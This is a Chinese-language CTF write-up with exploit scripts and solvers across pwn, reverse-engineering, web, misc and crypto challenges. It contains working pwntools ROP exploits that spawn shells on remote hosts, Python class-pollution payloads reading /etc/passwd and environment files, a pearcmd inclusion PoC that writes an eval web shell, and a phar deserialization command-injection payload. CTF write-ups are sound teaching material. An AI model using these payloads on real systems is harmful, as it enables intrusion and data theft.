PWN
FileEditor
from pwn import *
context.log_level="debug"
#p=process("./pwn")
p=remote("node4.buuoj.cn",28043)
elf=ELF("./pwn")
libc=elf.libc
p.recvuntil("> choose:")
p.sendline(str(1))
p.recvuntil("> choose:")
p.sendline(str(3))
p.sendlineafter("> To insert m lines before line n, please enter n m:",str(1))
p.sendline(str(1))
payload=b"b"+b"a"*103
p.sendlineafter("> Please enter the content to be inserted in sequence:",payload)
p.recvuntil("> choose:")
p.sendline(str(3))
p.sendlineafter("> To insert m lines before line n, please enter n m:",str(1))
p.sendline(str(1))
payload=b"b"+b"a"*103
p.sendlineafter("> Please enter the content to be inserted in sequence:",payload)
p.recvuntil("> choose:")
p.sendline(str(7))
p.sendlineafter("> Please enter the string to search for:","b")
p.sendlineafter("> Do you want to continue searching? (y/n)","n")
p.recvuntil("> choose:")
p.sendline(str(6))
p.sendlineafter("> Please enter the line number to be modified:","1")
payload="b"+"a"*103
p.sendlineafter("> Please enter the new content:",payload)
p.recvuntil("> choose:")
p.sendline(str(2))
p.recvuntil("1:baaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")
canary=u64(p.recv(8))-0xa
print(hex(canary))
p.recvuntil("> choose:")
p.sendline(str(6))
p.sendlineafter("> Please enter the line number to be modified:","1")
payload=b"b"+b"a"*103+p64(canary+0x10)+p64(0x4141414141414141)
p.sendlineafter("> Please enter the new content:",payload)
p.recvuntil("> choose:")
p.sendline(str(2))
p.recvuntil("AAAAAAAA")
pie_leak=u64(p.recv(6).ljust(8,b'\x00'))-(0x55b41e93c50a-0x55b41e93b000)
print(hex(pie_leak))
p.recvuntil("> choose:")
p.sendline(str(6))
p.sendlineafter("> Please enter the line number to be modified:","1")
payload=b"b"+b"a"*103+p64(canary+0x10)+p64(0x4141414141414141)*3+b"BBBBBBBB"
p.sendlineafter("> Please enter the new content:",payload)
p.recvuntil("> choose:")
p.sendline(str(2))
p.recvuntil("BBBBBBBB")
heap_base=u64(p.recv(6).ljust(8,b'\x00'))-(0x56112ef1820a-0x56112ef18000)
print(hex(heap_base))
p.recvuntil("> choose:")
p.sendline(str(6))
p.sendlineafter("> Please enter the line number to be modified:","1")
payload=b"b"+b"a"*103+p64(canary+0x10)+p64(0x4141414141414141)*3+b"BBBBBBBB"*3+b"CCCCCCCC"
p.sendlineafter("> Please enter the new content:",payload)
p.recvuntil("> choose:")
p.sendline(str(2))
p.recvuntil("CCCCCCCC")
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-(0x7fcf5ac6c00a-0x7fcf5ac48000)
print(hex(libc_base))
rop=b""
pop_rdi=pie_leak+0x0000000000002ac3
pop_rsi_r15=pie_leak+0x0000000000002ac1
ret=0x2351+pie_leak
rop+=p64(ret)+p64(pop_rdi)+p64(0x16b4+heap_base)+p64(libc_base+libc.sym['system'])
p.recvuntil("> choose:")
p.sendline(str(6))
p.sendlineafter("> Please enter the line number to be modified:","1")
payload=b"b"+b"a"*(103-8)+b"/bin/sh\x00"+p64(canary)+p64(0)+rop
p.sendlineafter("> Please enter the new content:",payload)
p.recvuntil("> choose:")
p.sendline(str(7))
p.sendlineafter("> Please enter the string to search for:","b")
p.sendlineafter("> Do you want to continue searching? (y/n)","n")
p.interactive()
VIPhouse
login()函数存在栈溢出漏洞。
unsigned __int64 login()
{
char s[100]; // [rsp+0h] [rbp-2A0h] BYREF
int v2; // [rsp+64h] [rbp-23Ch] BYREF
char v3[64]; // [rsp+258h] [rbp-48h] BYREF
unsigned __int64 v4; // [rsp+298h] [rbp-8h]
v4 = __readfsqword(0x28u);
memset(&v2, 0, 0x1F4uLL);
memset(v3, 0, sizeof(v3));
memset(s, 0, sizeof(s));
printf("Please enter your username: ");
readn((__int64)s, 99);
printf("Please enter your password: ");
// .text:0000000000401A46 E8 9F FC FF FF call readn
readn((__int64)v3, 104); // stack overflow
if ( !strcmp(s, "admin") && !strcmp(v3, "root") )
{
puts("Welcome, ADMIN~");
auth = 1;
}
dword_404114 = 1;
return v4 - __readfsqword(0x28u);
}
leak()函数中strcpy存在0字节截断情况,这种情况下s
的值为"\0\0\0\0\0\0\0\0"
。可以对随机数进行爆破,概率为1/256。
unsigned __int64 leak()
{
char s[8]; // [rsp+0h] [rbp-30h] BYREF
char v2[16]; // [rsp+8h] [rbp-28h] BYREF
int i; // [rsp+18h] [rbp-18h]
unsigned __int64 v4; // [rsp+28h] [rbp-8h]
v4 = __readfsqword(0x28u);
memset(s, 0, sizeof(s));
memset(v2, 0, sizeof(v2));
// .text:00000000004014D9 E8 C2 FC FF FF call _strcpy
strcpy(s, random_key_8);
puts("Please input the number you guess: ");
readn(v2, 16LL);
for ( i = 0; i <= 7; ++i )
{
if ( v2[i] != s[i] )
{
printf("Wrong input: %s\n", v2);
puts("You can't do anything!");
return v4 - __readfsqword(0x28u);
}
}
if ( auth )
{
printf("I'll give you a gift!");
sub_4015A7();
}
return v4 - __readfsqword(0x28u);
}
利用脚本
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
from pwn import *
context.clear(arch='amd64', os='linux', log_level='info')
while(True):
sh = remote('124.223.159.125', 9999)
sh.sendlineafter(b': ', b'1')
sh.sendlineafter(b': ', b'admin\0')
sh.sendlineafter(b': ', b'root\0')
sh.sendlineafter(b': ', b'4')
sh.sendafter(b': \n', b'\0' * 0x10)
result = sh.recvuntil(b'\n')
if b'give you a gif' in result:
break
else:
sh.close()
canary = int(result.split(b'!')[1], 16)
success('canary: ' + hex(canary))
sh.sendlineafter(b': ', b'5')
sh.sendlineafter(b': ', b'1')
sh.sendlineafter(b': ', b'admin\0')
sh.sendlineafter(b': ', cyclic(64) + p64(canary) + flat([
0x404128+0x2a0,
0x401991,
]))
sh.sendlineafter(b': ', p64(0x404048))
sh.sendafter(b': ', cyclic(64) + p64(canary) + flat([
0x4043d8,
0x4017F2,
0x404f00,
0x401991,
])[:99])
sh.send(p64(0x4011B0))
sh.sendlineafter(b': ', b'admin\0')
sh.sendlineafter(b': ', cyclic(64) + p64(canary) + flat([
0x404128+0x2a0,
0x401991,
]))
sh.sendlineafter(b': ', p64(0x404038))
sh.sendafter(b': ', cyclic(64) + p64(canary) + flat([
0x4043d8,
0x4017F2,
0x404f00,
0x401991,
])[:99])
sh.send(p64(0x000000000040139d))
sh.sendlineafter(b': ', flat([
0x404060+0xe,
0x4015D0,
0x401982,
]))
sh.sendlineafter(b': ', cyclic(64) + p64(canary) + flat([
0x404c60,
0x000000000040147b,
]))
sh.recvuntil(b'\n')
libc_addr = u64(sh.recvn(6) + b'\0\0') - 0x114980
success('libc_addr: ' + hex(libc_addr))
sh.sendlineafter(b': ', flat([
0,
0x000000000040101a,
libc_addr + 0x000000000002a3e5,
libc_addr + 0x1d8698,
libc_addr + 0x50d60,
]))
sh.sendlineafter(b': ', cyclic(64) + p64(canary) + flat([
0x4049d0,
0x000000000040147b,
])[:99])
sh.sendline(b'cat flag')
sh.sendline(b'cat flag.txt')
sh.sendline(b'cat /flag')
sh.sendline(b'cat /flag.txt')
sh.interactive()
RE
controlflow
程序通过改变栈里面的返回地址来控制程序的控制流 从而达到混淆的效果
左侧有许多被hook的函数
在每个函数开头设置断点 然后观察程序的运行流程
会发现输入的数据会进行
异或 相加 异或 相减 相乘 异或等操作
要注意部分运算的索引是 从[10]开始的
理清流程后写脚本解密
print("a"*40)
enc=[0x00000CCF, 0x00000CC0, 0x00000CFC, 0x00000CD8, 0x00000D23, 0x00000D11, 0x00000DC8, 0x00000D7D,
0x00000DAA, 0x00000E2B, 0x00000E7C, 0x00000E5B, 0x00000EA9, 0x00000ECA, 0x00000F5A, 0x00000F5A,
0x00000FB1, 0x0000104D, 0x00001095, 0x0000117C, 0x0000137D, 0x000012F3, 0x0000142E, 0x0000141C,
0x00001233, 0x00001287, 0x000011F4, 0x00001758, 0x00001461, 0x0000122A, 0x00001782, 0x000017F7,
0x00001911, 0x0000194D, 0x00001A10, 0x00001AEB, 0x00001B90, 0x00001CE6, 0x00001DE2, 0x00001ED2]
from z3 import *
input =[BitVec('input[%d]'%i,8) for i in range(40)]
buf = [0]*40
what = [0]*40
for index in range(40):
buf[index] = input[index];
buf[index] ^= 0x401;
for index in range(40):
buf[index] += index * index;
for index in range(20):
buf[index+10] ^= index * (index + 1);
for index in range(40):
buf[index] -= index
for index in range(40):
buf[index] *= 3
for i in range(0,20,2):
buf[i+10] ^= buf[i+10 + 1]
buf[i +10+ 1] ^= buf[i+10]
buf[i+10] ^= buf[i+10 + 1]
S = Solver()
for i in range(40):
#S.add(input[i]>32 ,input[i]<128)
S.add(enc[i]==buf[i])
S.check()
ans = S.model()
print(ans)
for i in input:
print(chr(ans[i].as_long()),end='')
TCP
程序类似于一个远控的木马 对于控制端发来的数据进行解密
而程序开头是一个RSA公钥加密体系传递密钥的方法
木马端口会在本地生成一个随机的密钥流 然后将密钥流8个为一组进行rsa加密
然后发送给控制端
而公钥就是开始的时候控制端发送给用户的
所以需要根据公钥 以及发送的密文
求出随机密钥流
求出来后 控制端发送的所有数据都会用这个密钥流进行解密
由于公钥的N很小 所有可以使用yafu分解
p = 1152921504606848051
q = 2152921504606847269
n = 0x1DE0B6B3A76408FC69F3467E8F0CE5F
c = 0x18A9F6A710996596AC28CDDEC32CD15
e = 0x10001
分解成功后就可以还原出密钥流
import gmpy2
d = gmpy2.invert(e,(p-1)*(q-1))
m = pow(c,d,n)
print(hex(m))
#send0="4e74dc13cbf4fb89ced341f9cf7557010bb5e0b4327298731ca3bb82793b1300153ff0e5da7c78feeefd9b0d020cd100c5a674a453ca4ea4df4bfa9a71543801aa20e631adb6a41396ba9f049dddbf013d86befa3d4356d751d05545e525cd01"
c_list = [send0[i:i+32] for i in range(0,192,32)]
print(c_list)
for c in c_list:
m = pow(int(hex2long(c),16),d,n)
print(hex(m)[2:].rjust(16,'0'),end='')
print()
得到密钥流后 patch程序的ip地址为本地地址 然后写一个tcp连接脚本发送相关的数据
import socket
from time import sleep
HOST = '192.168.48.129' # 监听的IP地址
PORT = 8787 # 监听的端口号
token = bytes.fromhex("5fcef0e867349fc68f40763a6b0bde0101000100000000000000000000000000")
#token = bytes.fromhex("0500000000000000070000000000000001000100000000000000000000000000")
exit_code=bytes.fromhex("fedb847213cb56c17919fb2dfedb847211cb56c17a19fb2dfedb8472")
#0000000000000005
rev1="16cb56c17a19fb2ddcdb8472"
rev2="..."
# 创建一个TCP socket对象
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 绑定IP地址和端口号
try:
server_socket.bind((HOST, PORT))
except:
pass
# 开始监听,最多允许5个客户端同时连接
server_socket.listen(5)
print('服务器已启动,等待客户端连接...')
# 等待客户端连接
client_socket, address = server_socket.accept()
print(f'客户端 {address} 已连接')
client_socket.send(token)
# 接收客户端发送的数据
data = client_socket.recv(96)
print(data.hex())
sleep(1)
client_socket.send(bytes.fromhex(rev1))
sleep(1)
client_socket.send(bytes.fromhex(rev2))
x = input()
client_socket.send(exit_code)
client_socket.close()
然后在程序运行时要patch 正确的密钥流
然后程序就会正常运行 输入字符串后
程序之后会发送一段shellcode
然后开始分析shellcode
里面是一个xor运算和加法运算以及对比
使用z3解密就可以
print("a"*40)
xor_data=[573039729,2068632159,717331137,414644186,1516244569,2049100619,919112253,1370927258,1688461485,296739023,30793144,1104738571,1002227152,81432113,1583269909,2054573166,783479577,1266338844,1034668673,558606273,547807190,256263039,2127993122,914948610,488709921,1073398434,406513062,848785440,822400703,2034231719,1267232298,1395440271,1955380325,1984563338,1810084552,1324141149,1886180468,581713252,547584857,1427158147,]
add_data=[573039818,2068632210,717331147,414644232,1516244602,2049100644,919112317,1370927342,1688461551,296739105,30793160,1104738645,1002227208,81432201,1583269946,2054573218,783479602,1266338941,1034668710,558606359,547807239,256263047,2127993196,914948641,488709930,1073398455,406513083,848785517,822400741,2034231768,1267232363,1395440350,1955380377,1984563413,1810084630,1324141186,1886180521,581713294,547584879,1427158166,]
add_number = [i - j for i,j in zip(add_data,xor_data)]
xor_number = [i^ord('a') for i in xor_data]
high=[0x2227,0x7b4c,0x2ac1,0x18b6,0x5a60,0x7a22,0x36c8,0x51b6,0x64a3,0x11af,0x1d5,0x41d8,0x3bbc,0x4da,0x5e5e,0x7a76,0x2eb2,0x4b7a,0x3dab,0x214b,0x20a6,0xf46,0x7ed6,0x3689,0x1d21,0x3ffa,0x183a,0x3297,0x3104,0x793f,0x4b88,0x532c,0x748c,0x764a,0x6be3,0x4eec,0x706c,0x22ac,0x20a3,0x5510,]
low =[0xe4ad,0xd2b2,0x9afd,0xf826,0xe8d,0xcb85,0x8a67,0xb122,0xe100,0xe133,0xdd9f,0xf9a9,0xc5bf,0x8eba,0xc863,0x4c6e,0xf33a,0xcca9,0xcab5,0xa82b,0xdfcd,0x4333,0x996c,0x22d,0x1f37,0xc30a,0xe5b2,0x7081,0xd6ce,0xea25,0x6e4a,0xbb2a,0xbc99,0x903,0xb316,0xca2e,0xd48e,0x3d96,0x7b5f,0xb4b2,]
enc= [(i<<16)+j for i,j in zip(high,low)]
print(hex(enc[0]))
from z3 import *
input = [BitVec("input[%d]"%i,8) for i in range(40)]
for i in range(40):
input[i]^=xor_number[i]
input[i]+=add_number[i]
S = Solver()
for i in range(40):
S.add(input[i] == enc[i])
S.check()
ans = S.model()
print(ans)
input[26] = 90
input[0] = 68
input[2] = 83
input[16] = 89
input[18] = 112
input[20] = 43
input[23] = 109
input[13] = 50
input[5] = 70
input[4] = 84
input[15] = 53
input[1] = 65
input[21] = 53
input[27] = 117
input[30] = 66
input[32] = 97
input[31] = 53
input[34] = 97
input[37] = 105
input[7] = 53
input[8] = 114
input[9] = 79
input[24] = 110
input[25] = 54
input[38] = 113
input[11] = 53
input[14] = 74
input[28] = 118
input[6] = 123
input[29] = 50
input[19] = 117
input[17] = 53
input[36] = 76
input[12] = 54
input[33] = 83
input[10] = 86
input[39] = 125
input[35] = 53
input[22] = 97
input[3] = 67
for i in input:
print(chr(i),end='')
得到flag
WEB
EzFlask
看源码,有注册和登入两个路由
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
Python的原型链污染,看到index下的读取__file__,直接用原型链污染去覆盖
@app.route('/',methods=['GET'])
def index():
return open(__file__, "r").read()
尝试unicode绕过__init__
{
"username":"admin",
"password":"123456",
"\u005F\u005F\u0069\u006E\u0069\u0074\u005F\u005F":{
"__globals":{
"__file__":"../../../etc/passwd"
}
}
}
}
刷新首页,成功回显:
找环境变量
{
"username":"admin",
"password":"123456",
"\u005F\u005F\u0069\u006E\u0069\u0074\u005F\u005F":{
"__globals":{
"__file__":"../../../proc/1/environ"
}
}
}
}
读取flag
ez_cms
熊海cms
后台文件包含漏洞,弱口令登入后台,pearcmd文件包含
admin/123456
poc:
+config-create+/&r=../../../../../../../../../../usr/share/php/pearcmd&/<?=eval($_POST[cmd]);?>+../../../../../../../../tmp/1.php
蚁剑链接,根目录flag
http://target/admin/index.php?r=../../../../../../../../tmp/1
MyPicDisk
随便试了个payload,发现直接就能登录跳转
跟进跳转包,发现注释里面藏了东西,下载到本地得到源码
源码部分有三处关键点,这里都给标注出来了
- 文件上传处对文件名有类型校验
- FILE这个类里存在命令拼接可以进行RCE,但对拼接参数存在黑名单校验
- 当传入的todo参数为md5时,会调用md5_file 函数
很自然的就能想到通过md5_file作为phar反序列化的入口来打
而对于FILE里对于filename参数的黑名单,这里采用base64编码+输出流重定向绕过
(之后就是再注意一下,由于我们的登录账户不是admin,每执行一次操作,session就会被销毁一次,所以在每次操作之前,都要记得把登录的包重新发一遍,重置session)
用来生成phar包的脚本如下,生成之后把后缀改成jpg上传即可
<?php
class FILE{
public $filename=";echo Y2F0IC9hZGphc2tkaG5hc2tfZmxhZ19pc19oZXJlX2Rha2pkbm1zYWtqbmZrc2Q=|base64 -d|bash -i>4.txt";
public $lasttime;
public $size;
public function remove(){
unlink($this->filename);
}
public function show()
{
echo "Filename: ". $this->filename. " Last Modified Time: ".$this->lasttime. " Filesize: ".$this->size."<br>";
}
}
#获取phar包
$phar = new Phar("abc.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new FILE();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
相关操作的数据包如下
最后得到flag
MISC
签到题
签到
ezFAT32
010打开img文件
得到压缩包密码的hint,去提取一下bmp文件
刚开始还是手动提取的,还迷惑提取的精确度,搞忘掉了是取证题
R-studio 可以梭出来
bmp文件 计算一下sha256
拿到密码1bec3826d44f706d33e8cc4bc230d3113d0198261ff1cd251294dbdebabb0af5
打开flag就可
Coffee desu!
尝试了POST方法后 报错 并且给了几个方法
去搜这个报错
https://datatracker.ietf.org/doc/html/rfc2324
对应上了You should add the milktea before getting the coffee!
题目要求加milktea
就加一个请求头
Accept-Additions: milktea
添加后GET访问即可
CRYPTO
ezDHKE
构造p-1光滑数,离散对数解决DH问题,AES解密得到flag
# SageMath
from Pwn4Sage.pwn import *
from hashlib import sha256
from Crypto.Cipher import AES
from Crypto.Util.number import *
def gen_primes(nbit, imbalance):
"""
:param nbit: 最终光滑数比特数
:param imbalance: 最小单位比特数
:return: 比特数
"""
p = int(2)
FACTORS = [p]
while p.bit_length() < nbit - 2 * imbalance:
factor = getPrime(imbalance)
FACTORS.append(factor)
p *= factor
rbit = (nbit - p.bit_length()) // 2
while True:
r, s = [getPrime(rbit) for _ in '01']
_p = p * r * s
if _p.bit_length() < nbit: rbit += 1
if _p.bit_length() > nbit: rbit -= 1
if isPrime(_p + 1):
FACTORS.extend((r, s))
p = _p + 1
break
FACTORS.sort()
return (p, FACTORS)
p = 1
while int(p).bit_length() != 1024:
p = gen_primes(1024, 16)[0]
print('p =', p)
sh = remote(,)
sh.recv(1024)
sh.sendline(str(p).encode())
alice_c, bob_c = [int(i) for i in sh.recvline().split(b' ') if i]
enc = eval(sh.recvline())
print(alice_c, bob_c)
print(enc)
g = 2
alice = int(discrete_log(Mod(alice_c,p),Mod(g,p)))
key = sha256(long_to_bytes(int(pow(bob_c, alice, p)))).digest()
iv = b"dasctfdasctfdasc"
aes = AES.new(key, AES.MODE_CBC, iv)
flag = aes.decrypt(enc)
print(flag)
ezRSA
深搜得P、Q,后rsa解出n
import sys
import gmpy2
from Crypto.Util.number import *
from factordb.factordb import FactorDB
sys.setrecursionlimit(5000)
e = 11
D1 = '75000029602085996700582008490482326525611947919932949726582734167668021800854674616074297109962078048435714672088452939300776268788888016125632084529419230038436738761550906906671010312930801751000022200360857089338231002088730471277277319253053479367509575754258003761447489654232217266317081318035524086377 8006730615575401350470175601463518481685396114003290299131469001242636369747855817476589805833427855228149768949773065563676033514362512835553274555294034 14183763184495367653522884147951054630177015952745593358354098952173965560488104213517563098676028516541915855754066719475487503348914181674929072472238449853082118064823835322313680705889432313419976738694317594843046001448855575986413338142129464525633835911168202553914150009081557835620953018542067857943'
D2 = '69307306970629523181683439240748426263979206546157895088924929426911355406769672385984829784804673821643976780928024209092360092670457978154309402591145689825571209515868435608753923870043647892816574684663993415796465074027369407799009929334083395577490711236614662941070610575313972839165233651342137645009 46997465834324781573963709865566777091686340553483507705539161842460528999282057880362259416654012854237739527277448599755805614622531827257136959664035098209206110290879482726083191005164961200125296999449598766201435057091624225218351537278712880859703730566080874333989361396420522357001928540408351500991'
N, gift, c1 = [int(i) for i in D1.split()]
c2, c3 = [int(i) for i in D2.split()]
def findp(p, q):
if len(p) == 512:
pp = int(p, 2)
if N % pp == 0:
print(pp)
print(N // pp)
else:
l = len(p)
pp = int(p, 2)
qq = int(q, 2)
if (pp ^ (qq >> 16)) % (2 ** l) == gift % (2 ** l) and pp * qq % (2 ** l) == N % (2 ** l):
findp('1' + p, '1' + q)
findp('1' + p, '0' + q)
findp('0' + p, '1' + q)
findp('0' + p, '0' + q)
# for q_low in range(2 ** 17):
# findp('1', bin(q_low)[2:])
P = 8006847171912577069085166877758626954304824756138758266557706391662987806065132448544117840031499707938227955094109779732609035310252723066470330862622641
Q = 9366986529377069783394625848920106951220134111548343265311677163992169555436421569730703291128771472885865288798344038000984911921843088200997725324682297
n = pow(c1, gmpy2.invert(e, (P-1)*(Q-1)), N)
n += N
print('n =', n)
print('e =', e)
print('c2 =', c2)
print('c3 =', c3)
明文线性攻击得到flag
# sage
from Crypto.Util.number import *
n = 83410392685813224685786027640778560521035854332627839979281105731457044069408118952629284089869335506983096270269822559619624906180108256504440296527471536363057103101146262613593336072556587341466840510200003498265457285439149541137127199088938421905041387224795918868443175561632999479925818053898100117419
e = 11
c2 = 69307306970629523181683439240748426263979206546157895088924929426911355406769672385984829784804673821643976780928024209092360092670457978154309402591145689825571209515868435608753923870043647892816574684663993415796465074027369407799009929334083395577490711236614662941070610575313972839165233651342137645009
c3 = 46997465834324781573963709865566777091686340553483507705539161842460528999282057880362259416654012854237739527277448599755805614622531827257136959664035098209206110290879482726083191005164961200125296999449598766201435057091624225218351537278712880859703730566080874333989361396420522357001928540408351500991
import libnum
def attack(c1, c2, n, e, mbit):
PR.<x>=PolynomialRing(Zmod(n))
g1 = (x)^e - c1
g2 = (bytes_to_long(b"dasctf{")*2^(mbit+8) + x*2^8 + bytes_to_long(b"}"))^e - c2
def gcd(g1, g2):
while g2:
g1, g2 = g2, g1 % g2
return g1.monic()
return -gcd(g1, g2)[0]
for mbit in range(93, 400):
try:
m = attack(c2, c3, n, e, mbit)
flag = libnum.n2s(int(m)).decode()
print(f"dasctf{{{flag}}}") # dasctf{C0pper_Sm1th_Mak3s_T1ng5_Bet4er}
break
except:
continue